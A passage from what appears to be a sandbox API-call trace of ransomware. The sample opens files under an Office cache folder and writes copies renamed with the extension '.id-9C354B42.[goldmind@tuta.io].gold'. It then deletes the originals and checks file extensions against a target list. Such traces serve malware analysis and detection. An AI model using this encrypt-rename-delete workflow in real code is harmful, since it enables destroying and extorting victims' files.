nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.822] SetEndOfFile (hFile=0x1a4) returned 1 [0034.822] CloseHandle (hObject=0x1a4) returned 1 [0034.823] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.823] SetEndOfFile (hFile=0x184) returned 1 [0034.823] CloseHandle (hObject=0x184) returned 1 [0034.823] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.824] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString=".doc") returned 4 [0034.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString=".docx") returned 5 [0034.824] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.824] lstrlenW (lpString=".pdf") returned 4 [0034.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString=".xls") returned 4 [0034.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString=".xlsx") returned 5 [0034.824] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.824] lstrlenW (lpString=".ppt") returned 4 [0034.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString=".zip") returned 4 [0034.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.824] lstrlenW (lpString=".rar") returned 4 [0034.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString=".bz2") returned 4 [0034.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString=".7z") returned 3 [0034.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString=".dbf") returned 4 [0034.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString=".1cd") returned 4 [0034.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.824] lstrlenW (lpString=".jpg") returned 4 [0034.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString=".doc") returned 4 [0034.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString=".docx") returned 5 [0034.825] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.825] lstrlenW (lpString=".pdf") returned 4 [0034.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString=".xls") returned 4 [0034.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString=".xlsx") returned 5 [0034.825] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.825] lstrlenW (lpString=".ppt") returned 4 [0034.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString=".zip") returned 4 [0034.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.825] lstrlenW (lpString=".rar") returned 4 [0034.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString=".bz2") returned 4 [0034.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString=".7z") returned 3 [0034.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString=".dbf") returned 4 [0034.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString=".1cd") returned 4 [0034.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.825] lstrlenW (lpString=".jpg") returned 4 [0034.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.825] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.825] lstrlenW (lpString="Setup.xml") returned 9 [0034.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.875] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6241) returned 1 [0034.876] CloseHandle (hObject=0x19c) returned 1 [0034.876] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.876] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.876] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.876] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.876] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.876] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.904] GetLastError () returned 0x0 [0034.904] ReadFile (in: hFile=0x19c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1861, lpOverlapped=0x0) returned 1 [0034.911] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0034.912] ReadFile (in: hFile=0x19c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.912] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.912] SetEndOfFile (hFile=0x1a0) returned 1 [0034.912] CloseHandle (hObject=0x1a0) returned 1 [0034.913] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.913] SetEndOfFile (hFile=0x19c) returned 1 [0034.914] CloseHandle (hObject=0x19c) returned 1 [0034.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.914] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".doc") returned 4 [0034.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".docx") returned 5 [0034.916] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.916] lstrlenW (lpString=".pdf") returned 4 [0034.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".xls") returned 4 [0034.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".xlsx") returned 5 [0034.916] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.916] lstrlenW (lpString=".ppt") returned 4 [0034.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".zip") returned 4 [0034.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.916] lstrlenW (lpString=".rar") returned 4 [0034.916] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".bz2") returned 4 [0034.916] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".7z") returned 3 [0034.916] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".dbf") returned 4 [0034.916] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".1cd") returned 4 [0034.916] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".jpg") returned 4 [0034.916] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".doc") returned 4 [0034.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".docx") returned 5 [0034.916] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.916] lstrlenW (lpString=".pdf") returned 4 [0034.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".xls") returned 4 [0034.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString=".xlsx") returned 5 [0034.916] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.916] lstrlenW (lpString=".ppt") returned 4 [0034.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.916] lstrlenW (lpString=".zip") returned 4 [0034.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.916] lstrlenW (lpString=".rar") returned 4 [0034.917] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.917] lstrlenW (lpString=".bz2") returned 4 [0034.917] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.917] lstrlenW (lpString=".7z") returned 3 [0034.917] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.917] lstrlenW (lpString=".dbf") returned 4 [0034.917] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.917] lstrlenW (lpString=".1cd") returned 4 [0034.917] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.917] lstrlenW (lpString=".jpg") returned 4 [0034.917] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.917] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.917] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0034.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.920] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=5557) returned 1 [0034.920] CloseHandle (hObject=0x188) returned 1 [0034.920] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0034.920] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.920] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.920] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.920] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.920] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.951] GetLastError () returned 0x0 [0034.951] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0034.952] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0034.953] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.953] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xee, lpOverlapped=0x0) returned 1 [0034.953] SetEndOfFile (hFile=0x19c) returned 1 [0034.953] CloseHandle (hObject=0x19c) returned 1 [0034.953] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.953] SetEndOfFile (hFile=0x188) returned 1 [0034.954] CloseHandle (hObject=0x188) returned 1 [0034.954] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.954] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".doc") returned 4 [0034.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".docx") returned 5 [0034.955] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".pdf") returned 4 [0034.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xls") returned 4 [0034.955] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xlsx") returned 5 [0034.955] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".ppt") returned 4 [0034.955] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".zip") returned 4 [0034.955] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.955] lstrlenW (lpString=".rar") returned 4 [0034.955] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".bz2") returned 4 [0034.955] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".7z") returned 3 [0034.955] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".dbf") returned 4 [0034.955] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".1cd") returned 4 [0034.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".jpg") returned 4 [0034.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.955] lstrlenW (lpString=".doc") returned 4 [0034.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".docx") returned 5 [0034.955] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".pdf") returned 4 [0034.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xls") returned 4 [0034.955] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xlsx") returned 5 [0034.955] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".ppt") returned 4 [0034.955] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.956] lstrlenW (lpString=".zip") returned 4 [0034.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.956] lstrlenW (lpString=".rar") returned 4 [0034.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".bz2") returned 4 [0034.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".7z") returned 3 [0034.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.956] lstrlenW (lpString=".dbf") returned 4 [0034.956] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.956] lstrlenW (lpString=".1cd") returned 4 [0034.956] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0034.956] lstrlenW (lpString=".jpg") returned 4 [0034.956] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.956] lstrcmpiW (lpString1=".chm", lpString2=".gold") returned -1 [0034.956] lstrlenW (lpString="pss10r.chm") returned 10 [0034.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.957] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=27195) returned 1 [0034.957] CloseHandle (hObject=0x188) returned 1 [0034.957] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0034.957] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.957] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.957] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.958] GetLastError () returned 0x0 [0034.958] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0035.235] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0035.250] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, 